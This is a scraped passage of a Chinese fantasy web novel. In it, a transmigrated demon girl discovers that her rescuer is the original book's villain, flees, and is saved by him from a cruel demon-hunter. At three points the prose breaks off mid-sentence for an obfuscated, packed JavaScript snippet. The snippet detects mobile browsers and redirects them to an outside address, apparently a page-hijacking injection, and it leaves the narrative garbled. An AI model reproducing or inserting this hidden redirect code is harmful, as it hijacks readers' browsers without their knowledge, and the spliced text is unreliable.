在这个人与妖极端对立的世界中,除妖师与妖族向来水火不相容,也只有男主的师父——心怀天下苍生的行藏道人——才能教养出这样毫无偏见的徒弟。 满月五味杂陈。她犹豫了下,还是不死心地问出最后一句:“可以告诉我……你的名字吗?” 蓝衣姑娘挑了下眉:“为何要问这个?” 满月:“……我想道谢。” “许陈仓。”蓝衣姑娘似乎觉得没什么好隐瞒的,干脆利落报上了自己的名字,“不过道谢就不必了。救你回来的是我师弟,你要道谢,就去找他吧。” 果然。 坐实了猜测,满月七上八下的心彻底沉入谷底。 主角团还是来了。 只是这个展开……好像和原著剧情完全不一样。 更关键的是,那个陆乙又是什么人? 她怎么不记得主角团里有这么一个奇怪的家伙。 无数疑问接踵而至,满月隐隐有些不好的预感。可惜当下她没有多余的时间去思考,只得暂敛了思绪,朝着许陈仓又道了一遍谢,往尽头走去。 尽头卧房的门虚虚掩着,并没有合实,满月正打算敲门,里面先传来一道声音,浑厚苍老:“进来吧。” 满月怔了下,迟疑了片刻,还是依言推门进去。 房间内不止有陆乙的小师弟在,还有位白发白髯的白袍道人正居中位。白袍道人面容尤为慈祥随和,尽管年事已高,眼中却不见一丝一毫的浑浊,清明透亮,仿佛看透一切,却又容纳一切。 这一次不用试探,单是一见面就莫名让满月笃定,眼前的人十有八九是行藏道人不会错了。 满月那日远远地曾望见过这位白袍道人一眼,当时只以为是有修为在身的老道,不想原来是他。 可更让满月在意的,却是行藏道人还活着这件事。 原著里明明…… 行藏道人看着她,并没有寻常高位者那种高高在上的压迫感,有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995422|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是海纳百川的包容,与深不见底的平静,观之令人不觉心生好感:“你可还有什么不舒服的地方?” 满月回过神来。她慌忙收起视线,若无其事道:“没有了。只听闻是这位小弟弟救了我……我是来道谢的。” 蓝衣小道童站在白袍道人身后,听她是来道谢而不是找麻烦,才松了口气。 行藏道人仔细看了看她,确认她没什么大碍,才又道:“你身上有惑心印残留之迹,不过惑心印并没有伤害到你。我听宴白讲了你的事,想来是你的那位亲人对你施了此术,要你离开三危山的。” 行藏道人竟将前因后果推断得分毫不差。 可满月却没空注意这个,她的心神全被一个名字所吸引:“……宴白?” 不等行藏道人讲话,旁边的蓝衣小道童先心直口快抢答道:“你身上不是有我师兄的契言符吗?你不知道他是谁?” 契言符……契言符是陆乙给她的。 陆乙。 宴白。 不会吧…… 脑子里仿若有什么东西平地炸开。 满月腿有点发软,她不可置信道:“陆……宴白?” 蓝衣小道童点点头,理所当然:“是啊。” 满月只觉眼前一黑。 她终于知道那种不好的预感来自何处了。 陆宴白。 就是原著中那个曾经一度被她锐评为脑子有病的终极大Boss……陆宴白? 行藏道人见她一言不发,只以为是她心存戒备,温言道:“我并无恶意,玄都观不杀无辜之妖,你既已脱离三危山,便无再找你麻烦的道理。只是如今的世道太乱,你孤身一人,难免容易横遭不测。我在盛京认识一位大妖,你若想过寻常的生活,可由我引荐。我想这也会是你那位亲人所乐意见到的。” 行藏道人出于好意在给她提供日后的生路,满月却是一个字都没听进去。 没办法,此时此刻她的注意力完全“陆宴白”三个字所占据,根本无暇再顾及其他。 因为这个名字在原著中的存在感实在是……太高了。 陆宴白,就是影响原著男主至深的那个心魔,亦是本书的终极BOSS,差一点毁灭了世界。 差一点是差多少呢,大概就是他但凡少作死一次,原著都不会是主角团HE的结局。 电光火石间,仿佛有一条无形的脉络,将她之前解释不清的困惑全部串联了起来。 原著中,陆宴白曾经是男主程南楼的师兄,玄都观人人景仰的天才少年。据说他天赋卓绝,拥有百年难遇的资质禀赋,是众人眼中最有望继承行藏道人衣钵的人选。 程南楼也极为仰慕这位师兄,甚至暗暗以他为目标和榜样。 然而有一天,这位备受众人期待与瞩目的天之骄子却选择堕入邪道,不仅屠了大半师门,还亲手杀了自己的师父——也就是现在她面前的行藏道人。 程南楼就这样猝不及防沉入到人生的至暗时刻。一天之内,他不仅失去了感情最为深厚的师父,还失去了曾经引以为豪的师兄。 此后陆宴白便成为了程南楼压抑在心底最深处的梦魇,一度困扰得他生不如死。直到最终章,他历经千辛万苦将陆宴白封印起来,才算亲手终止了这场噩梦。 竟然是他! 原来是他! 现在的他还是玄都观的弟子。怪不得行藏道人没死,主角看起来仍旧像个什么都没经历过的纯良少年,剧情走向也和原著中完全不一样。 这一切的一切,都只是因为现在的时间线尚处在开篇剧情之前。 而且—— 满月突然意识到另一件更为可怕的事。 命魂珠。 原本应该属于男主程南楼的命魂珠……被陆宴白拿走了! 19. 019 眼前一黑又一黑。 满月这才意识到自己究竟闯了多大祸。 命魂珠被陆宴白拿到了。 这是什么地狱笑话。 要知道原著中程南楼前期正是凭借这颗命魂珠才与陆宴白勉强有一战之力的,现在让陆宴白拿到命魂珠,不啻于直接削弱日后程南楼的一半战力。 而这个结果——虽然不愿承认,可还是不得不承认——是有她推波助澜的因素在。 如果没有她,陆宴白未必能进得去三危山。 如果没有她,他未必找得到地宫入口。 如果没有她,他也不一定能杀得了四面镜从而拿走藏在里面的命魂珠。 这长长的一串因果,环环相扣,浑然天成,少掉其中的任何一环都不可能达成这个结果,可偏偏每一环都误打误撞接上了,而且每一次的机缘巧合,都与她脱不了干系。 行藏道人看她脸色苍白,额间沁出薄薄一层汗,迟迟没有回话,以为她强行突破心脉封印的遗症,转头吩咐了旁边的小道童两句。 玄妙翻出一个锦盒,将其中盛放的丹药挑出几粒包好,上前来递给满月:“师父给你的。” 满月这才稍稍从震惊中回过一些神来:“这是……” “安魂养神丹。”小道童眨巴了两下眼睛,在自家师父面前表现得乖巧懂事极了,活像个成熟稳重的小大人,“你强行冲破心脉封印,师父虽救你及时,但到底伤及根本,此丹药可护住心脉。” 满月接过那包药,良心仿佛被放在烈火上炙烤。 行藏道人是个好人,这点毋庸置疑。他并不是为博声名的伪君子,而是真正地慈悲为怀、德行高远。就连对待她这个失去了庇佑,人人都可以踩上一脚的小妖怪,也没有任何轻视之意,如此体贴照拂。 可是正是这份可贵的好意,这让满月更加难受了。 她看看手上的药,又看看满目仁慈的行藏道人,张了张口,却是哑然。 能说什么呢,事已成定局,她又没那个能力将命魂珠从陆宴白那里抢过来,说多了,搞不好反而会让陆宴白黑化的结局提前……要知道他现在手里可是已经拿了一颗命魂珠,纵然还没发展到后期那么BUG的地步,也足够难对付。 何况…… 满月心神晃了晃。 书中曾提到过行藏道人极为善卜。按照原著的描述,他甚至从一开始就已经算到有可能会死在自己徒弟手中,至于为何不加干涉,其中牵扯得太多,一两句话很难解释得清。总而言之,行藏道人是一早就知道了这个结果,并做好了牺牲自己以成全大局的准备。 就是不知如今多了她这样一个变数,行藏道人亦可有算到? 满月忍受着良心的折磨,忐忑不安地收下药后,深深拜了一礼。 行藏道人看着她,眸中波澜不惊,语气平和从容:“你若想好了,这些天他们即返盛京,正好与你顺路,当可同行。” 满月完全不知道行藏道人在讲什么,一脸的茫然:“大?” 不是。 怎么,怎么就忽然同行了? 旁边的玄妙看她这副模样,蓦然想起自己走神后被师父挑去回答问题的样子,不免生起些同病相怜的感觉,小声提醒她:“师父说要带你去盛京投靠一位大妖。” 在小道童的提示下,满月终于明白过来发生了什么。她连忙推拒道:“多谢道长好意,只是我亲人还在三危山上,虽不知封印何时再度开启,但我想留在此处等她……” 满月越说越心虚。 捅了这么大个篓子,她是真的良心不安。 可她又有什么办法呢?她确实很自私,这种情况下也只能选择逃避,假装什么都不知道。 行藏道人见她无心于此,也不强求,略一颔首,叮嘱她:“那你多加小心。”。 满月心事重重地告辞离去。她刚合上门,一抬头,冷不防看见倚在门外等候的人,吓得差点跳起来。 陆宴白微垂着眸,似笑非笑瞥她一眼,看她一张脸惨白,眼中皆是惊恐,很是好奇:“见鬼了?” ……也差不多。 满月心砰砰直跳,看着陆宴白,一时间不知道该说什么。 陆宴白挑挑眉,伸手点了点她额头:“傻了?” 满月没忍住吞咽了下口水,她强装镇定表现得和以前一样:“你怎么在这里。” 陆宴白若有所思盯着她的脸瞧了片刻,才弯起眼睛:“我来见我师父,怎么,你有意见?” 岂敢。 她只恨不能掘地三尺与他老死不相往来。 满月讨好似的笑了笑,她毕恭毕敬做了个往里请的动作,才屏息凝神地错开身,拉开与陆宴白的距离。 蹑手蹑脚离他远了些,满月才准备开溜。 然而还不等她溜出去,一只修长的手就拽住了她的后衣领,将她稳稳当当带回了原地。 “你,你干什么?”与之前相处时的自然融洽不同,满月此时面对陆宴白,单只是说话都忍不住要牙关打颤。 陆宴白眯了下眼,似笑非笑看向她的眼睛。 满月目光忽闪了下,不自在地避开。 陆宴白笑意盈盈:“师父和你说了什么?” 满月倏然心头一惊。 这话也许放在别人耳中平常无奇,但在刚得知了他身份的满月听来,却是平白充满了危机。 毕竟无论是现实,还是原著,陆宴白留给她最深的印象都是——脑子有病。 和一般的反派不同,陆宴白绝对是满月看过的这么多本小说中最独树一帜的奇葩。似乎比起达成自己的目的,他更喜欢玩弄人心。原著中他明明好几次有机会杀掉程南楼,但都将他放走了——原因是太早杀掉他就没什么意思了。 这当然可以说是作者笔力不济没构思好剧情导致的结果,但满月看下来,只觉得这人脑子天生就不正常,纯纯混邪乐子人,除了杀行藏道人确实事出有因外,其他时候根本摸不着他的门道,完全不知道他怎么想的。 无迹可寻,这也就意味着无法从他的行事逻辑判断他下一步要干什么。 鬼知道他会不会因为她的一句无心之言就原地表演一个黑化入邪道给她看。 以满月对他的刻板印象,这不是不可能的事。 “……没说什么啊。”满月打起一万分的精神来同他周旋。她眨眨眼,尽量让自己的语气听起来显得真诚,“就是安慰了我一些话。” 陆宴白扬扬眉,示意她接着说。 “就是,就是送了我一些你们玄都观的安魂养神丹。”满月拿出那包药给他看,她故意流露出老实人的感觉,小心翼翼瞧向他,“你不会收回去吧?哦对了,行藏道长还邀请我顺路和你们一起去盛京……” 陆宴白扫了眼她手中的药包:“你同意了?” 提起这个,满月重重唉了一声,就差当场掉下两滴泪来表明自己无比遗憾的心绪:“我也想啊,毕竟你也知道外面那些除妖师和你们玄都观不一样,能与你们同行自然是好的。可我的亲人还困在三危山,我怎好独享安宁,只能是忍痛拒绝了……” 她演得着实有些过火,连陆宴白都有点看不下去了。 陆宴白拍了拍她的头,俯身凑近了些。他笑得无比和善:“一日没见,话都不会说了吗?” 他的语气分明极为温柔,满月却只觉脊背窜上一股寒意。 她尬笑两声,强行解释:“怎会,我平日都是这样说话的。你我才认识不过几日,不了解也是情有可原,哈哈……” 陆宴白也笑:“是吗?” 满月诚恳地点点头,发髻上的白绒球也跟着一晃一晃。 陆宴白懒得同她计较,问道:“那你现在就准备走了?” “我既已无恙,自然不好再叨扰你们。”满月深谙该收则收的道理,恢复了些正常,“在九曲地宫你救了我两次,我还没好好跟你道个谢。多谢你救命之恩,山水有相逢……” 他们最好是永远不必再相逢! 陆宴白静静看着她,笑而不语。 满月实在演不下去了,她指了指自己身后,“那我……走了?” 说着,满月退后几步,见这一次陆宴白没有阻拦的意思,她掩饰住就快冲破胸膛的心跳,转身离开。 陆宴白站在原地,面上带着浅浅的笑,神色掩埋在廊下的阴影之中,就这么目送着那道荼白衣衫的背影匆匆离去。 * 回房间找到小肥啾,一刻也不多留,满月带上它和行囊就直接逃离客栈。 满月走得很快,仿佛身后有什么食人巨兽在追她一样——当然那很可能只是她为数不多的良心在作祟。 不知走了多久,等满月有意识地停下来时,已经走出客栈很远了。 此时当是正午。日头高照,一如既往的灼人。 满月没忍住抬头看向天边,先前的乌云与惊雷早像是一场幻觉,消失得无影无踪。 物是人非。 满月叹了口气。在伤感席卷而来之前,她已机智地先收起了目光。 逼迫自己暂时不去考虑陆宴白的事,满月才有心思好好想一想她自己目前的处境:三危山蒙遭大创,一时三刻不会再开启,小灯也在沉睡之中,她的自保能力四舍五入等于零,为今之计,还是暂时先找个安全的地方休养一段时日为好。 打定主意刚要行动,满月忽然又想起一件很重要的事。 ——蔓娘子走前和她说的话。 当时她的那番话的信息量着实太大,满月直到现在,才有空从头到尾捋一遍。 原来她不是被遗弃的。 蔓娘子以前讲她来历,只说是在湖边捡到了她,测妖脉将五岁的年纪,以为她是被人遗弃,所以将她带回去照看。所以被遗弃这件事,一直是满月心中的隐伤。 现在仔细想想,确实有很多不合常理的地方。 比如蔓娘子说五岁时才捡到她,可她对五岁前的记忆却是一片空白,连零星的印象都没有,仿佛五岁之前和五岁之后是截然不同的两个世界。 正常情况下,记忆的界限不可能会这么明确。 那只有一种可能—— 难道她五岁前的记忆是故意被人封锁了去的? 满月盯着腕上晶莹剔透的玉珠看了一会儿,死活想不起来五岁前究竟发生了什么。她尝试了好一会儿无果,只得放下衣袖,暂时作罢。 来日方长,等她安顿下来,再好好回想也不迟。 满月有意避开了人多的地方,沿着偏僻小径往镇上去。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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满月还没回答,旁边收拾碗筷的男人便笑道:“小娘子气度不凡,想来也是来抓妖的小仙长,你乱操什么心。” 男人既然这样说,满月便也不解释,权当默认。这世道不太平,妖物横行,除妖师的地位也水涨船高,就连朝廷也极为重视。男主所在的玄都观,便是皇家御用道观,行藏道人德高望重,更是被尊奉为皇帝都尊崇无比的大国师。 被误会有这样一重身份在,于满月是好事。 妇人见她不否认,以为猜对了,连连告饶:“是我有眼不识泰山,竟没瞧出小仙长的身份。我刚听闻从山脚下来的人说三危山闭山了,近一段时日都不会再有妖怪下山作祟,可有此事?” 满月矜持地点了下头。 三危山封山了,度母阴司又失去了命魂珠,想来一时半会儿不会有工夫再出来害人。 那妇人得了确切答复,长舒一口气,连笑意都加深了:“三危山作乱已久,我听说是京中派了玄都观的仙长来,可见还是他们本领高深,终于镇住了这群索狗儿。” 索狗儿是春阳镇的方言,意为畜生。 身为索狗儿中的一员,满月只能是尴尬地笑了笑。 妇人正要再说什么,又有客人进来了。妇人赶忙去招呼,说的话都如出一辙:“客官几位?要点什么?” 满月尝了一勺水木瓜,蓦然感受到一个有些灼热的目光似是在打量着自己。 她一抬头,却见是一个络腮胡的大汉。他身长九尺,生得膀大腰圆,衣着粗布短打,身后负着一柄用布缠起的长刀,不似凡人。 满月不自觉警惕起来。 或许是常年如履薄冰的缘故,她对于危险一贯有着敏锐的直觉——当然陆宴白是个例外,那时候的路人脸着实麻痹了她。 满月察觉到来者不善,她不露声色地移开视线,低头咬起糖饼。 络腮胡啪了一声将自己的长刀拍在木桌上,声如洪钟:“二两牛肉,二两黄酒。快些上。” 络腮胡的位置正好在门边,与满月这一桌斜角相对,他的视线时不时有意无意地略过她,这不禁让她如坐针毡,如芒刺背。 满月有些食不知味。她飞快将糖饼吃完,草草喝了一半水木瓜,就留下碎银准备走。离开前她路过那大汉,后者这次没再看她。 满月推测这人应当也是除妖师,毕竟为着这次围剿三危山,确实出动了不少人。 她不敢再走这条路,而是往旁边的深山野林里钻,免得再遇到除妖师。三危山封山,这两日正是他们陆续离开的关头,只要熬过这段时间,她日子就能好过起来。 满月发挥着脚程快的优势,快步行走在荒林中。 日头毒辣,她满头大汗。走出好一段距离后,她确认无人跟来,才停下来坐在树墩上休息。 荒山野岭,杳无人迹,四下一片安宁,只有风飒飒吹过树叶的声音。 满月等了许久,刚要彻底放下心来,正当时—— 一柄朴实无华的长刀突然裹挟着厉风向她刺来。 满月忙闪身一躲。 那出鞘的长刀,不偏不倚,恰好扎在了她原先坐着的树桩上。 20. 020 刀身微颤,发出凄厉铮鸣。 满月转身,不出意料看到了站在后面不远处的络腮胡大汉。 “不错。”络腮胡大汉盯着她,嗤笑一声,一双眼睛邪性得很,透出不易察觉的贪婪,“还能躲得过去。” 满月伸手摸了下袖口,却感知不到小灯有任何苏醒的迹象。她将小肥啾往袖子里藏好了,勉强保持镇定,冷声道:“我和你无冤无仇,阁下这么做,怕是不太好吧?” 络腮胡见她镇定自若,一时倒真有点被唬住。 他手一抬,长刀从树桩上拔出,回到他手上。 “无冤无仇?呵,何时妖物也敢讲这样的话了。”络腮胡眯了下眼,声音暗含轻蔑,“真以为隐了妖气,就没人看得出你的身份?” 果然还是被发现了。 满月暗叹一声,面上却尽力装得镇定,不露深浅:“我没害过人,纵然是妖,也行得正,阁下为何不能放我一马?” 络腮胡听她这样说,先前生出的一二分警惕也荡然无存。若这真是个有本事的大妖,断不会说这等求饶的话。 络腮胡冷笑:“妖就是妖,管你害没害过人,现在不害,焉知日后不害?我劝你束手就擒,老子心情好了,倒能给你个痛快。” 满月都快被他这套歪理气笑了。她没了讲道理的想法,深吸一口气,像是也明白彼此之间差距悬殊,放弃了挣扎:“我打不过你,也懒得打,要杀要剐随你便。” 满月年岁小,生得又是一副温顺无害的模样,没多大攻击性,络腮胡本来就不把她当回事,又被外表所惑,更加是不屑一顾,只道:“你运气好,我不爱你这款,对你的妖身没兴趣,只要你的妖丹即可,你若不挣扎,倒也算省了我们双方的麻烦。” 络腮胡言毕,不再废话,当即就用长刀向着满月心口剖去,力求一击必中。 满月静静站在原地,看上去真的不打算反抗一般,从容赴死。 络腮胡没把她太当回事,可就在长刀离她分毫之距,满月却倏地翻过了手掌,图穷匕见,亮出了一早藏在手中的短剑。 满月妖脉断绝,修为一直无太大进展,没有本命妖器认主,手上这柄短剑,还是蔓娘子留在行囊给她防身用的。 短剑是有蔓娘子妖力加持过的妖器,一生二,二生三,瞬间生出数把短剑,络腮胡全无防备,纵然反应奇快,仍旧被其中一柄染着妖气的短剑刺中了左眼,疼得大叫一声。 满月也就表面镇定,见策略起了效果,她迅速收起短剑,趁机逃往林中。 可惜满月到底错估了络腮胡的实力。络腮胡虽然失去了一只眼,却没有被削弱太多,反倒是被激发出了心头的戾气。 他一手捂着眼,一手握紧长刀,将其深深刺入地下。 刀气震荡,地动山摇,四面映出血红的符纸,将没跑多远的满月团团围住。 诡异的血光顷刻间变作无数的红线,一道道鬼影立现,窃笑声私语声,密密匝匝,四面八方涌来,红线缠绕在满月身上,如同蜘蛛吐丝结网,将她织入茧中。 满月只觉被一团浓重的怨气包围住,手脚仿佛被捆绑住,动弹不得,清醒地看着自己越陷越深,呼吸逐渐就变得困难起来。 糟糕,她好像遇到了邪道。 世间万物,阴阳相对,有正必有邪。除妖师中赶尽杀绝的极端派虽多,但大部分行的还是正道的法子,而邪道,不拘于任何手段方式,甚至动用很多禁忌之术,诡异又阴毒。 怪不得这络腮胡总说给她个痛快,确实相比于一刀毙命,如今这种死法痛苦多了,不是被困在茧中窒息而亡,就是被这老道豢养的鬼物吞噬殆尽。 她的人生就如她前世玩游戏抽卡一样,总是充满了莫名其妙的晦气。 络腮胡转瞬之间已站定在茧蛹前,他一只眼淌着血,一只眼怨毒地瞧着红线中的满月,恨恨道:“敬酒不吃吃罚酒,你既然不肯死得痛快,老子成全你!” 话音一落,红线愈发缠紧,她被紧紧束缚在茧蛹之中,五脏六腑都快被挤得错了位。 络腮胡看着满月快窒息的模样,脸上流露出某种扭曲的快感。 就带着怨恨与不甘死去吧,越是这样,她的妖丹才越美味。 络腮胡盯着未成形的茧蛹,眼中的贪婪越深。而茧蛹之中的满月,却被越来越深的绝望所吞没。 她不会真的就这样死在这里吧。 早知道还不如成为主角团的炮灰,至少还能多活一年! 满月莫名有点悲从中来。正当她认为再无转机之时,忽然,一声铃铛的清音自林中响起。 谁也没想到的变故发生了,随着铃铛的声响,浮在半空周转的血红符纸齐齐停了下来。 下一刻,符纸不知被什么东西撕碎,四分五裂。 没了符纸,红线也骤然失去控制,化作齑粉消散。 茧蛹消失,满月从空中摔下。 她险些被闷死,好不容易得了空气,就像涸辙之鱼得了水,大口喘着气。 是谁? 满月强忍着胸口的疼痛抬起头来,没见到来人,却已隐隐约约猜到最有可能是谁出的手。 络腮胡也没料到螳螂捕蝉黄雀在后,除他之外竟然还有人会出现在这偏僻的林子中。 他双手结印,又有四道血红符纸浮现在他周身,红线如同触手一样四处延伸,却并没有找到来者。 “何人?”络腮胡稍作试探,许是察觉来人实力不弱,他故意缓了语气,“我将才在除害,阁下若是同道之人,何须阻拦?” 那人闻言笑了起来。 络腮胡听见笑声,确定了方位,红线陡然伸长,向着林子深处袭去。 然而不等他占得先机,红线就被金光斩断,落在地上,没了生机。 蓝衣少年慢悠悠从林间暗影里走出,他眉眼弯弯地笑着,温和纯良,浑然不似刚刚动手的人是他。 “红线前辈不久前才同我交过手,难不成已是忘了吗?”他一口一个前辈,客客气气的,听起来倒是有礼。 然而红线道人瞧清他的相貌,脸色却是隐隐变得不好看。 红线道人呵了一声,瞥了眼他身后,见没有其他人跟着,晓得那坐镇的老头不在,才稍恢复了些底气:“你这小儿,这厮是我的猎物,凡事讲个先来后到,纵然你是玄都观的人,也不能不认这个理!” 陆宴白听笑了:“猎物?” 红线道人此前确实与他们打过交道,他是邪道,修的是邪术,手段百无禁忌,之前听闻讨伐三危山,也想跑来分一杯羹,半路上与陆宴白他们遇到,因虐杀无辜妖灵而起了冲突。说是交手,其实也算不上,红线道人和陆宴白没过几招,发现他们是玄都观的人,便找了个借口开溜了。 红线道人冷笑一声,指了指自己的眼睛:“这妖物已化人身,又伤我至此,我杀她天经地义,你们玄都观再爱管闲事也管不到这份上!” 陆宴白看着他血淋淋的左眼,轻轻笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995424|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下,语气之中隐约带了点似是而非的赞赏:“确实还有些本事。” 红线道人听他这么讲,虽然觉得有点奇怪,却也没往心里去,只道:“你识相些不插手,我直接取了她妖丹,给她个痛快就是。我知你们玄都观的人心软见不得那些手段,如此一来皆大欢喜。” 红线道人边说着,边暗暗观察着蓝衣少年的神色。 若有周旋的余地,他并不想真的和眼前的人动手,不是打不过,只是忌惮他背后的玄都观。这也是他肯费心跟他讲道理的缘故。玄都观是国观,红线道人这种游离于正统体系之外单打独斗的捉妖师,一向不是很能看得起,认为他们多是朝廷豢养的狗,但其中毕竟牵扯太多,最好还是能够避其锋芒。 陆宴白没有任何回答。 红线道人有些不耐烦起来:“我是看在玄都观的份上,才给你几分薄面。怎么说,难不成你们玄都观真的霸道到这种地步,不肯给我们散修留条活路不成?” 他话里话外,全是玄都观家大业大仗势欺人的意思。 如果站在这里的是男主程南楼,说不准因为其自身超高的道德感,真的会被他的话牵制住。可惜红线道人运气不好,遇上的偏偏是最不会被这些所谓道义绑架的陆宴白。 陆宴白笑意盈盈,他瞧着红线道人,仍旧是一副人畜无害的模样,轻飘飘回答了他上一句:“若是我不同意呢?” 红线道人一愣,迅速沉下脸去。 他不想惹事,不代表惹不起。话说到这份上,红线道人自觉已经退让三分,这还不肯见好就收,那就是这小儿的不对了。 红线道人不再废话,他大呵一声欺人太甚,拈动法诀,嘴里念念有词。 霎时,数倍之多的血红符纸浮现,层层叠叠,形成天然的结界,将陆宴白包围其中。 与此同时成千上百的红线自符纸伸出,密密麻麻,如同蜿蜒而上的蛇,势必要将困在阵法之中的人绞灭。 眼见着团团红线将蓝衣少年的身影吞没,红线道人不禁露出个得意的笑容,暗道玄都观果然没几个中用的。 红线道人对自己的独门秘笈红线牵一向自信,他瞧着红线团,谨慎控制着力道,不至于真的勒死里面的人,惺惺作态道:“我本也不想动手,只是你小小年纪太过轻狂,须知行都观的名头也不是无往而不胜。罢了,若你愿意求饶,我就当替你师父教训你一番,日后好自为之,勿再多管闲事。” 言毕,红线道人做好了等他打滚求饶的准备,他非常清楚红线牵的威力,那是他耗费多年用鬼物养成的,一般人在其中困不了多时,就算不会窒息而亡,也会全身溃烂发痛。 不曾想,求饶没听见,被困在红线团里的少年反而笑了一声,声音倒是模模糊糊,可其间的嘲弄与挑衅却清晰可闻:“叫你声前辈,你倒真的托起大来。” 红线道人脸上的笑容瞬间挂不住了,他恨得咬碎了牙,也顾不上再顾忌玄都观,当即动了杀心。 他双手交叠结印,“收”字尚未出口,金字真言却忽的破空而出,犹如利剑交织相映,生生将困住他的红线团炸开,血红符纸七零八落,碎成了一地的纸屑。 蓝衣少年自空中缓缓落下,他毫发无伤,修长白皙的手上缠着红线,绕了一段在指尖,笑意盈盈地扯了扯,就见对面的红线道人面色苍白,冷汗涔涔,终于没了最初的傲气。 “只有这点本事。”陆宴白弯起眼睛,笑得亲切无比,“也配替我师父教训我?” 21. 021 红线牵……竟然被杀了。 红线道人一息之间,念头转了几转。 他虽痛心自己辛苦养出宝物被杀,可也明白了眼前的少年并非他预想中的花架子。 到底是浑世里摸爬滚打起来的邪道,判断力一绝,他当下断定这人不好惹,再纠缠下去恐怕性命不保,于是砸下几道惊雷符,想趁乱溜走。 陆宴白不紧不慢地躲开惊雷,金色真言如绳索一般蹿了出去,红线道人一时不备,被缠住了手臂,当场被困在原地动弹不得。 红线道人是个心狠意狠的,他不等陆宴白再下杀招,就壮士断腕,直接用长刀斩断自己的手臂,乘风而逃,徒留地面上一滩血迹,见证着瞬息之间发生过的事。 陆宴白站在原地,静静瞧着红线道人狼狈逃离的身影,丝毫没有追他的兴致。 他转眸,眸中映着的却是早躲去树后,在他单打独斗时,就计划着准备逃之夭夭的小妖怪。 啧,可惜那个红线道人实在太不成器,再纠缠久一点,还真要被她逃了去。 陆宴白笑了起来。他眉眼甚是可亲,然而落在满月眼中却与催命符无异:“这么急着走,你怕我会输?” 满月被陆宴白这样看着,心头惴惴,笑得很是僵硬:“怎,怎会。你的实力我最清楚了,不过是怕地方小你施展不开,给你腾地方呢。哈哈。” 她谎话张口就来,陆宴白早就懒得辨别真假,只笑着觑她:“好没良心,三番两次救你,一句谢谢不讲,还想抛下我就走。” 满月哪里是想抛下他,别人不知道,看过原著的她可太了解他的实力了,根本不担心他会在那邪道手上吃瘪。 她只是本能地比起邪修,更不想再同他扯上关系而已。 但现在看来,她是不想扯也得扯了:“……你怎么会来这里?” 陆宴白盯着她的脸左右看了看,她白净的脸颊布着好几道血痕,想来是当时被红线割破的,瞧上去怪可怜的。 “师父不放心,叫我来跟着你。”陆宴白眯了下眼,懒洋洋道,“确实没什么出息。” 满月:“……” “我早说过,我不杀你,多的是想杀你的。”陆宴白居高临下睥睨着她,语气凉凉的,带着些微的幸灾乐祸,“这天下的捉妖师可不是个个都想我们玄都观的一样讲理,你孤身在外,落在邪道眼中,就像行走的妖丹,迟早横死街头。” 行藏道人是大善之人,早料到满月这样无枝可依的小妖怪一出去就是送死,所以才叫陆宴白沿途跟在她后面,若有意外,也好出手相助。 满月还真找不出话来反驳。她自幼只在三危山周围活动,对于外面世界的危险认知有限,只以为自己多加小心就算完,不曾想防不胜防。 陆宴白笑吟吟瞧着她:“师父先前说的话你还没忘吧?再给你一次机会,可想好了?” 他指的是行藏道人说带她去盛京投靠大妖的事。 路横亘在眼前,满月这下真没得选。留在此处,可能不等三危山再度开启,她就先不知命丧谁手,如果跟着他们去盛京…… 满月抬眸瞧了眼陆宴白,小心翼翼询问:“……你也一起同行吗?” 陆宴白将她这小表情尽收眼底,不用猜都知道她在想什么,实在是太过一览无余。 他起了逗她的心思,似笑非笑:“是啊,怎么了,不愿意跟我一起?” ……岂敢。 满月笑得很是虚情假意:“怎么会呢,你救了我那么多次,你要一起,我高兴还来不及。” 陆宴白假装看不出她眼底的不情愿,他弯起眼睛,很是体贴的一副模样:“我原本不和你们一起走的,不过既然你这么说,我仔细想了想,和你们同路也不是不可以。” 满月的笑容僵在脸上,一时应也不是不应也不是,各种情绪闪现交替,精彩纷呈。 她这副五味杂陈掩盖不住的表情,反而极大取悦到了陆宴白。 陆宴白不动声色地弯了弯唇角,心满意足:“先随我回客栈吧。” 满月心里哀叹无数声。 她垂头丧气地扶着树干起来,陆宴白瞥了眼她的腿,倒是敏锐:“你的腿怎么了?” 先前满月被邪道的红线牵所困,那鬼物对妖最为烈性,她虽然被陆宴白及时救下,却还是受了重伤,若如不然,早就趁着他们两方斗法就偷跑了。 满月不想麻烦陆宴白,只道:“轻伤,不打紧。” 陆宴白瞧她一眼,挑了下眉,就俯下身去。 他的手刚一碰到满月的裙摆,她已是疼得没忍住嘶了一声。 “本事不大,忍倒是会忍。”陆宴白语带讥讽。 他掀开她裙摆一角,满月的左腿被红线牵咬得鲜血淋漓,甚至隐约可见白骨。 满月还挺不好意思的:“我自己回去处……” 话未说完,她嘴里就被对面那人塞了一粒丹药。 满月对原著里陆宴白的印象太过根深蒂固,第一反应是被他投毒,下意识想要吐出来。 